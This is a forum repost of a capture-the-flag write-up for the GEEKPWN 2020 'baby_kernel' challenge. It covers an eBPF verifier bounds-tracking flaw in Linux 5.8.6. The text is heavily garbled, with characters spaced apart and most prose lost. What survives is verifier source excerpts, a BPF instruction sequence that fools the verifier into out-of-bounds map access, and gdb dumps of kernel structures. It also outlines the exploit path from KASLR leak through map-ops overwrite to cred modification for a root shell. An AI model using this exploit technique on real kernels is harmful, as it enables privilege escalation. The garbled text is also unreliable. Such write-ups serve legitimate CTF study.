[18212] 2020-11-26_GEEKPWN2020-云安全挑战赛决赛-baby_kernel题解

文档创建者:s7ckTeam
浏览次数:12
最后更新:2025-01-18
2020-11-26_GEEKPWN2020-云安全挑战赛决赛-baby_kernel题解 G E E K P W N 2 0 2 0 - - b a b y _ k e r n e l a m a 2 i n 9   H A C K   2 0 2 0 - 1 1 - 2 6 G E E K P W N b p f h t t p s : / / g i t h u b . c o m / x m z y s h y p n c / x z _ f i l e s s o u r c e l i n u x - 5 . 8 . 6 v s c o d e . s u n i c h i b e y o n d   c o m p a r e d i f f v e r i f i e r . c s c a l a r _ m i n _ m a x _ a d d
, b p f - > - > - > - > / / v e r i f i e r . c s t a t i c   i n t   a d j u s t _ s c a l a r _ m i n _ m a x _ v a l s ( s t r u c t   b p f _ v e r i f i e r _ e n v   * e n v ,                                             s t r u c t   b p f _ i n s n   * i n s n ,                                             s t r u c t   b p f _ r e g _ s t a t e   * d s t _ r e g ,                                             s t r u c t   b p f _ r e g _ s t a t e   s r c _ r e g ) {         s w i t c h   ( o p c o d e )   {         c a s e   B P F _ A D D :                 r e t   =   s a n i t i z e _ v a l _ a l u ( e n v ,   i n s n ) ;                 i f   ( r e t   <   0 )   {                         v e r b o s e ( e n v ,   " R % d   t r i e d   t o   a d d   f r o m   d i f f e r e n t   p o i n t e r s   o r   s c a l a r s n " ,   d s t ) ;                         r e t u r n   r e t ;                 } c h e c k _ a l u _ o p d o _ c h e c k d o _ c h e c k c h e c k _ a l u _ o p a d j u s t _ r e g _ m i n _ m a x _ v a l s a d j u s t _ s c a l a r _ m i n _ m a x _ v a l s s c a l a r _ m i n _ m a x _ a d d
                s c a l a r 3 2 _ m i n _ m a x _ a d d ( d s t _ r e g ,   & s r c _ r e g ) ;                 s c a l a r _ m i n _ m a x _ a d d ( d s t _ r e g ,   & s r c _ r e g ) ;                 d s t _ r e g - > v a r _ o f f   =   t n u m _ a d d ( d s t _ r e g - > v a r _ o f f ,   s r c _ r e g . v a r _ o f f ) ;                 b r e a k ;                 / / . . .         } } / / s t a t i c   i n t   a d j u s t _ r e g _ m i n _ m a x _ v a l s ( s t r u c t   b p f _ v e r i f i e r _ e n v   * e n v ,                                       s t r u c t   b p f _ i n s n   * i n s n ) {         / / . . .         r e t u r n   a d j u s t _ s c a l a r _ m i n _ m a x _ v a l s ( e n v ,   i n s n ,   d s t _ r e g ,   * s r c _ r e g ) ; } / / / *   c h e c k   v a l i d i t y   o f   3 2 - b i t   a n d   6 4 - b i t   a r i t h m e t i c   o p e r a t i o n s   * / s t a t i c   i n t   c h e c k _ a l u _ o p ( s t r u c t   b p f _ v e r i f i e r _ e n v   * e n v ,   s t r u c t   b p f _ i n s n   * i n s n ) {         / / . . .         e l s e   {     / *   a l l   o t h e r   A L U   o p s :   a n d ,   s u b ,   x o r ,   a d d ,   . . .   * /                 i f   ( B P F _ S R C ( i n s n - > c o d e )   = =   B P F _ X )   {                         i f   ( i n s n - > i m m   ! =   0   | |   i n s n - > o f f   ! =   0 )   {                                 v e r b o s e ( e n v ,   " B P F _ A L U   u s e s   r e s e r v e d   f i e l d s n " ) ;                                 r e t u r n   - E I N V A L ;                         }                         / *   c h e c k   s r c 1   o p e r a n d   * /                         e r r   =   c h e c k _ r e g _ a r g ( e n v ,   i n s n - > s r c _ r e g ,   S R C _ O P ) ;                         i f   ( e r r )                                 r e t u r n   e r r ;                 }   e l s e   {                         i f   ( i n s n - > s r c _ r e g   ! =   B P F _ R E G _ 0   | |   i n s n - > o f f   ! =   0 )   {                                 v e r b o s e ( e n v ,   " B P F _ A L U   u s e s   r e s e r v e d   f i e l d s n " ) ;                                 r e t u r n   - E I N V A L ;                         }                 }                 / *   c h e c k   s r c 2   o p e r a n d   * /                 e r r   =   c h e c k _ r e g _ a r g ( e n v ,   i n s n - > d s t _ r e g ,   S R C _ O P ) ;                 i f   ( e r r )                         r e t u r n   e r r ;                 i f   ( ( o p c o d e   = =   B P F _ M O D   | |   o p c o d e   = =   B P F _ D I V )   & &                         B P F _ S R C ( i n s n - > c o d e )   = =   B P F _ K   & &   i n s n - > i m m   = =   0 )   {                         v e r b o s e ( e n v ,   " d i v   b y   z e r o n " ) ;                         r e t u r n   - E I N V A L ;                 }                 i f   ( ( o p c o d e   = =   B P F _ L S H   | |   o p c o d e   = =   B P F _ R S H   | |                           o p c o d e   = =   B P F _ A R S H )   & &   B P F _ S R C ( i n s n - > c o d e )   = =   B P F _ K )   {                         i n t   s i z e   =   B P F _ C L A S S ( i n s n - > c o d e )   = =   B P F _ A L U 6 4   ?   6 4   :   3 2 ;
                        i n t   s i z e   =   B P F _ C L A S S ( i n s n - > c o d e )   = =   B P F _ A L U 6 4   ?   6 4   :   3 2 ;                         i f   ( i n s n - > i m m   <   0   | |   i n s n - > i m m   > =   s i z e )   {                                 v e r b o s e ( e n v ,   " i n v a l i d   s h i f t   % d n " ,   i n s n - > i m m ) ;                                 r e t u r n   - E I N V A L ;                         }                 }                 / *   c h e c k   d e s t   o p e r a n d   * /                 e r r   =   c h e c k _ r e g _ a r g ( e n v ,   i n s n - > d s t _ r e g ,   D S T _ O P _ N O _ M A R K ) ;                 i f   ( e r r )                         r e t u r n   e r r ;                 r e t u r n   a d j u s t _ r e g _ m i n _ m a x _ v a l s ( e n v ,   i n s n ) ;         } } s t a t i c   b o o l   s i g n e d _ a d d _ o v e r f l o w s ( s 6 4   a ,   s 6 4   b ) {         / *   D o   t h e   a d d   i n   u 6 4 ,   w h e r e   o v e r f l o w   i s   w e l l - d e f i n e d   * /         s 6 4   r e s   =   ( s 6 4 ) ( ( u 6 4 ) a   +   ( u 6 4 ) b ) ;         i f   ( b   <   0 )                 r e t u r n   r e s   >   a ;         r e t u r n   r e s   <   a ; } p w n 2 o w n e b p f C V E - 2 0 2 0 - 8 8 3 5   p w n 2 o w n   2 0 2 0   e b p f   C V E - 2 0 2 0 - 8 8 3 5 p w n 2 o w n   2 0 2 0   e b p f   t n u m 使 s m i n _ v a l s m a x _ v a l 3 2 b i t 0 x 1 0 0 0 0 0 0 0 1 0 x 1 v e r i f i e r 1 0 n = 2 1 v m v e r i f i e r C ( ) 使 0 . 0 0 m a p 使 使 ( n & 2 ) > > 1 B P F _ M U L v e r i f i e r s m i n _ v a l s m a x _ v a l B P F _ A L U 6 4 _ I M M s m i n _ v a l = = s m a x _ v a l = = 0 a + x = = b + x ( m o d   0 x 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 )
a = = b + 0 x 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 r 7 & m a p _ a d d r - 0 x 1 1 0 0 t r i c k 使 / / v e r i f i e r . c / *   c h e c k   r e a d / w r i t e   i n t o   m e m o r y   r e g i o n   ( e . g . ,   m a p   v a l u e ,   r i n g b u f   s a m p l e ,   e t c )   * / s t a t i c   i n t   _ _ c h e c k _ m e m _ a c c e s s ( s t r u c t   b p f _ v e r i f i e r _ e n v   * e n v ,   i n t   r e g n o ,                                     i n t   o f f ,   i n t   s i z e ,   u 3 2   m e m _ s i z e ,                                     b o o l   z e r o _ s i z e _ a l l o w e d ) {         b o o l   s i z e _ o k   =   s i z e   >   0   | |   ( s i z e   = =   0   & &   z e r o _ s i z e _ a l l o w e d ) ;         s t r u c t   b p f _ r e g _ s t a t e   * r e g ;         i f   ( o f f   > =   0   & &   s i z e _ o k   & &   ( u 6 4 ) o f f   +   s i z e   < =   m e m _ s i z e )                 r e t u r n   0 ;         r e g   =   & c u r _ r e g s ( e n v ) [ r e g n o ] ;         s w i t c h   ( r e g - > t y p e )   {         c a s e   P T R _ T O _ M A P _ V A L U E :                 v e r b o s e ( e n v ,   " i n v a l i d   a c c e s s   t o   m a p   v a l u e ,   v a l u e _ s i z e = % d   o f f = % d   s i z e = % d n " ,                         m e m _ s i z e ,   o f f ,   s i z e ) ;                 b r e a k ;         c a s e   P T R _ T O _ P A C K E T :         c a s e   P T R _ T O _ P A C K E T _ M E T A :         c a s e   P T R _ T O _ P A C K E T _ E N D :                 v e r b o s e ( e n v ,   " i n v a l i d   a c c e s s   t o   p a c k e t ,   o f f = % d   s i z e = % d ,   R % d ( i d = % d , o f f = % d , r = % d ) n " ,                         o f f ,   s i z e ,   r e g n o ,   r e g - > i d ,   o f f ,   m e m _ s i z e ) ;                 b r e a k ;         c a s e   P T R _ T O _ M E M :         d e f a u l t :                 v e r b o s e ( e n v ,   " i n v a l i d   a c c e s s   t o   m e m o r y ,   m e m _ s i z e = % u   o f f = % d   s i z e = % d n " ,                         m e m _ s i z e ,   o f f ,   s i z e ) ;         }         r e t u r n   - E A C C E S ; } 1 7 使 a + x = = b + x ( m o d   0 x 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ) B P F _ L D X _ M E M ( B P F _ D W , 0 , 7 , 0 ) B P F _ L D X _ M E M _ _ c h e c k _ m e m _ a c c e s s o f f s m i n _ v a l = = s m a x _ v a l = = 0 B P F _ A L U 6 4 _ R E G s m i n _ v a l
b p f r 8 s m i n s m a x s m i n = = s m a x = = 0 v e r i f i e r s m i n s m a x v a l u e m a p - 0 x 1 1 0 v m l i n u x d a t a l e a k k a s l r m a p c r e d r o o t   s h e l l g e f     p / a   * ( s t r u c t   b p f _ a r r a y * )   0 x f f f f 8 8 8 0 0 5 8 4 0 0 0 0 $ 1   =   {     m a p   =   {         o p s   =   0 x f f f f f f f f 8 2 0 1 6 8 8 0   < a r r a y _ m a p _ o p s > ,         i n n e r _ m a p _ m e t a   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,         s e c u r i t y   =   0 x f f f f 8 8 8 0 0 6 7 9 d f 0 0 ,         m a p _ t y p e   =   0 x 2   < f i x e d _ p e r c p u _ d a t a + 2 > ,         k e y _ s i z e   =   0 x 4   < f i x e d _ p e r c p u _ d a t a + 4 > ,         v a l u e _ s i z e   =   0 x 2 0 0 0   < i r q _ s t a c k _ b a c k i n g _ s t o r e > ,         m a x _ e n t r i e s   =   0 x 1   < f i x e d _ p e r c p u _ d a t a + 1 > ,         m a p _ f l a g s   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,         s p i n _ l o c k _ o f f   =   0 x f f f f f f f f f f f f f f e a ,         i d   =   0 x 4   < f i x e d _ p e r c p u _ d a t a + 4 > , s m a x _ v a l S 6 4 _ M I N S 6 4 _ M A X 0 x 8 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 x 7 f f f f f f f f f f f f f f f 0 x 8 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 - > 0 x 8 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 - > 0 x 4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 - > 0 x 8 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 - > 0 0 x 7 f f f f f f f f f f f f f f f - > 0 x 8 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 - > 0 x 4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 - > 0 x 8 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 - > 0 r 8 = = 0 x 1 0 0 0 0 0 0 0 0 0 x 1 0 0 0 0 0 0 0 0 - > 0 x 1 0 0 0 0 0 0 0 1 - > 0 x 8 0 0 0 0 0 0 0 - > 0 x 1 0 0 0 0 0 0 0 0 - > 0 x 2 0 0 0 0 0 0 0 0 - > 2 - > 0 x 1 1 0 B P F _ A L U 6 4 _ I M M ( B P F _ A D D , 8 , 1 ) ,           / / r 8   + =   1         B P F _ A L U 6 4 _ I M M ( B P F _ R S H , 8 , 1 ) ,           / / r 8   > >   1         B P F _ A L U 6 4 _ I M M ( B P F _ L S H , 8 , 1 ) ,           / / r 8   < <   1         B P F _ A L U 6 4 _ R E G ( B P F _ A D D , 8 , 8 ) ,           / / r 8   + =   r 8 ( o v e r f l o w )         B P F _ A L U 6 4 _ I M M ( B P F _ R S H , 8 , 3 2 ) ,         / / r 8   > > =   3 2         B P F _ A L U 6 4 _ I M M ( B P F _ M U L , 8 , 0 x 1 1 0 / 2 ) ,   / / r 8   * =   0 x 1 1 0 b p f _ a r r a y a r r a y _ m a p _ o p s w a i t _ l i s t - > n e x t d e 4 d c r 0 w
        i d   =   0 x 4   < f i x e d _ p e r c p u _ d a t a + 4 > ,         n u m a _ n o d e   =   0 x f f f f f f f f f f f f f f f f ,         b t f _ k e y _ t y p e _ i d   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,         b t f _ v a l u e _ t y p e _ i d   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,         b t f   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,         m e m o r y   =   {             p a g e s   =   0 x 3   < f i x e d _ p e r c p u _ d a t a + 3 > ,             u s e r   =   0 x f f f f 8 8 8 0 0 6 7 d e 3 0 0         } ,         n a m e   =   { 0 x 0   < f i x e d _ p e r c p u _ d a t a >   < r e p e a t s   1 6   t i m e s > } ,         b t f _ v m l i n u x _ v a l u e _ t y p e _ i d   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,         b y p a s s _ s p e c _ v 1   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,         f r o z e n   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,         r e f c n t   =   {             c o u n t e r   =   0 x 2   < f i x e d _ p e r c p u _ d a t a + 2 >         } ,         u s e r c n t   =   {             c o u n t e r   =   0 x 1   < f i x e d _ p e r c p u _ d a t a + 1 >         } ,         w o r k   =   {             d a t a   =   {                 c o u n t e r   =   0 x 0   < f i x e d _ p e r c p u _ d a t a >             } ,             e n t r y   =   {                 n e x t   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,                 p r e v   =   0 x 0   < f i x e d _ p e r c p u _ d a t a >             } ,             f u n c   =   0 x 0   < f i x e d _ p e r c p u _ d a t a >         } ,         f r e e z e _ m u t e x   =   {             o w n e r   =   {                 c o u n t e r   =   0 x 0   < f i x e d _ p e r c p u _ d a t a >             } ,             w a i t _ l o c k   =   {                 {                     r l o c k   =   {                         r a w _ l o c k   =   {                             {                                 v a l   =   {                                     c o u n t e r   =   0 x 0   < f i x e d _ p e r c p u _ d a t a >                                 } ,                                 {                                     l o c k e d   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,                                     p e n d i n g   =   0 x 0   < f i x e d _ p e r c p u _ d a t a >                                 } ,                                 {                                     l o c k e d _ p e n d i n g   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,                                     t a i l   =   0 x 0   < f i x e d _ p e r c p u _ d a t a >                                 }                             }                         }
                    }                 }             } ,             o s q   =   {                 t a i l   =   {                     c o u n t e r   =   0 x 0   < f i x e d _ p e r c p u _ d a t a >                 }             } ,             w a i t _ l i s t   =   {                 n e x t   =   0 x f f f f 8 8 8 0 0 5 8 4 0 0 c 0 ,                 p r e v   =   0 x f f f f 8 8 8 0 0 5 8 4 0 0 c 0             }         } ,         w r i t e c n t   =   0 x 0   < f i x e d _ p e r c p u _ d a t a >     } ,     e l e m _ s i z e   =   0 x 2 0 0 0   < i r q _ s t a c k _ b a c k i n g _ s t o r e > ,     i n d e x _ m a s k   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,     a u x   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,     {         v a l u e   =   0 x f f f f 8 8 8 0 0 5 8 4 0 1 1 0 , / / m a p _ e l e m e n t         p t r s   =   0 x f f f f 8 8 8 0 0 5 8 4 0 1 1 0 ,         p p t r s   =   0 x f f f f 8 8 8 0 0 5 8 4 0 1 1 0     } } a r r a y _ m a p _ o p s m a p _ o p s r t f i n g c a r r a y _ m a p _ o p s m a p _ e l e m e n t _ a d d r
g e f     p / a   * ( s t r u c t   b p f _ m a p _ o p s   * )   0 x f f f f f f f f 8 2 0 1 6 8 8 0 $ 2   =   {     m a p _ a l l o c _ c h e c k   =   0 x f f f f f f f f 8 1 1 6 2 e f 0   < a r r a y _ m a p _ a l l o c _ c h e c k > ,     m a p _ a l l o c   =   0 x f f f f f f f f 8 1 1 6 3 d f 0   < a r r a y _ m a p _ a l l o c > ,     m a p _ r e l e a s e   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,     m a p _ f r e e   =   0 x f f f f f f f f 8 1 1 6 3 6 c 0   < a r r a y _ m a p _ f r e e > ,     m a p _ g e t _ n e x t _ k e y   =   0 x f f f f f f f f 8 1 1 6 2 f e 0   < a r r a y _ m a p _ g e t _ n e x t _ k e y > ,     m a p _ r e l e a s e _ u r e f   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,     m a p _ l o o k u p _ e l e m _ s y s _ o n l y   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,     m a p _ l o o k u p _ b a t c h   =   0 x f f f f f f f f 8 1 1 4 9 2 4 0   < g e n e r i c _ m a p _ l o o k u p _ b a t c h > ,     m a p _ l o o k u p _ a n d _ d e l e t e _ b a t c h   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,     m a p _ u p d a t e _ b a t c h   =   0 x f f f f f f f f 8 1 1 4 9 0 2 0   < g e n e r i c _ m a p _ u p d a t e _ b a t c h > ,     m a p _ d e l e t e _ b a t c h   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,     m a p _ l o o k u p _ e l e m   =   0 x f f f f f f f f 8 1 1 6 3 0 6 0   < a r r a y _ m a p _ l o o k u p _ e l e m > ,     m a p _ u p d a t e _ e l e m   =   0 x f f f f f f f f 8 1 1 6 3 5 b 0   < a r r a y _ m a p _ u p d a t e _ e l e m > ,     m a p _ d e l e t e _ e l e m   =   0 x f f f f f f f f 8 1 1 6 3 0 1 0   < a r r a y _ m a p _ d e l e t e _ e l e m > ,     m a p _ p u s h _ e l e m   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,     m a p _ p o p _ e l e m   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,     m a p _ p e e k _ e l e m   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,     m a p _ f d _ g e t _ p t r   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,     m a p _ f d _ p u t _ p t r   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,     m a p _ g e n _ l o o k u p   =   0 x f f f f f f f f 8 1 1 6 3 3 1 0   < a r r a y _ m a p _ g e n _ l o o k u p > ,     m a p _ f d _ s y s _ l o o k u p _ e l e m   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,     m a p _ s e q _ s h o w _ e l e m   =   0 x f f f f f f f f 8 1 1 6 3 1 4 0   < a r r a y _ m a p _ s e q _ s h o w _ e l e m > ,     m a p _ c h e c k _ b t f   =   0 x f f f f f f f f 8 1 1 6 3 c 6 0   < a r r a y _ m a p _ c h e c k _ b t f > ,     m a p _ p o k e _ t r a c k   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,     m a p _ p o k e _ u n t r a c k   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,     m a p _ p o k e _ r u n   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > ,     m a p _ d i r e c t _ v a l u e _ a d d r   =   0 x f f f f f f f f 8 1 1 6 2 f 7 0   < a r r a y _ m a p _ d i r e c t _ v a l u e _ a d d r > ,     m a p _ d i r e c t _ v a l u e _ m e t a   =   0 x f f f f f f f f 8 1 1 6 2 f a 0   < a r r a y _ m a p _ d i r e c t _ v a l u e _ m e t a > ,     m a p _ m m a p   =   0 x f f f f f f f f 8 1 1 6 3 0 e 0   < a r r a y _ m a p _ m m a p > ,     m a p _ p o l l   =   0 x 0   < f i x e d _ p e r c p u _ d a t a > } m a p m a p _ u p d a t e _ e l e m m a p _ p u s h _ e l e m m a p _ g e t _ n e x t _ k e y m a p _ u p d a t e _ e l e m m a p _ p u s h _ e l e m B P F _ M A P _ T Y P E _ Q U E U E B P F _ M A P _ T Y P E _ S T A C K b p f _ m a p _ u p d a t e _ v a l u e ( m a p ,   f ,   k e y ,   v a l u e ,   a t t r - > f l a g s ) ;
b p f _ m a p _ u p d a t e _ v a l u e s t a t i c   i n t   m a p _ u p d a t e _ e l e m ( u n i o n   b p f _ a t t r   * a t t r ) {         v o i d   _ _ u s e r   * u k e y   =   u 6 4 _ t o _ u s e r _ p t r ( a t t r - > k e y ) ;         v o i d   _ _ u s e r   * u v a l u e   =   u 6 4 _ t o _ u s e r _ p t r ( a t t r - > v a l u e ) ;         i n t   u f d   =   a t t r - > m a p _ f d ;         s t r u c t   b p f _ m a p   * m a p ;         v o i d   * k e y ,   * v a l u e ;         u 3 2   v a l u e _ s i z e ;         s t r u c t   f d   f ;         i n t   e r r ;         i f   ( C H E C K _ A T T R ( B P F _ M A P _ U P D A T E _ E L E M ) )                 r e t u r n   - E I N V A L ;         f   =   f d g e t ( u f d ) ;         m a p   =   _ _ b p f _ m a p _ g e t ( f ) ;         i f   ( I S _ E R R ( m a p ) )                 r e t u r n   P T R _ E R R ( m a p ) ;         i f   ( ! ( m a p _ g e t _ s y s _ p e r m s ( m a p ,   f )   &   F M O D E _ C A N _ W R I T E ) )   {                 e r r   =   - E P E R M ;                 g o t o   e r r _ p u t ;         }         i f   ( ( a t t r - > f l a g s   &   B P F _ F _ L O C K )   & &                 ! m a p _ v a l u e _ h a s _ s p i n _ l o c k ( m a p ) )   {                 e r r   =   - E I N V A L ; m a p - > o p s - > m a p _ p u s h _ e l e m ( m a p ,   v a l u e ,   f l a g s ) ; a r r a y _ m a p _ g e t _ n e x t _ k e y ( s t r u c t   b p f _ m a p   * m a p ,   v o i d   * k e y ,   v o i d   * n e x t _ k e y ) k e y v a l u e n e x t _ k e y a t t r - > f l a g s i n d e x   <   a r r a y - > m a p . m a x _ e n t r i e s * n e x t   =   i n d e x   +   1 ; * ( a t t r - > f l a g s ) = * ( u 3 2   * ) v a l u e + 1 a r r a y - > m a p . m a x _ e n t r i e s = - 1 ; m a p _ t y p e = B P F _ M A P _ T Y P E _ S T A C K
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则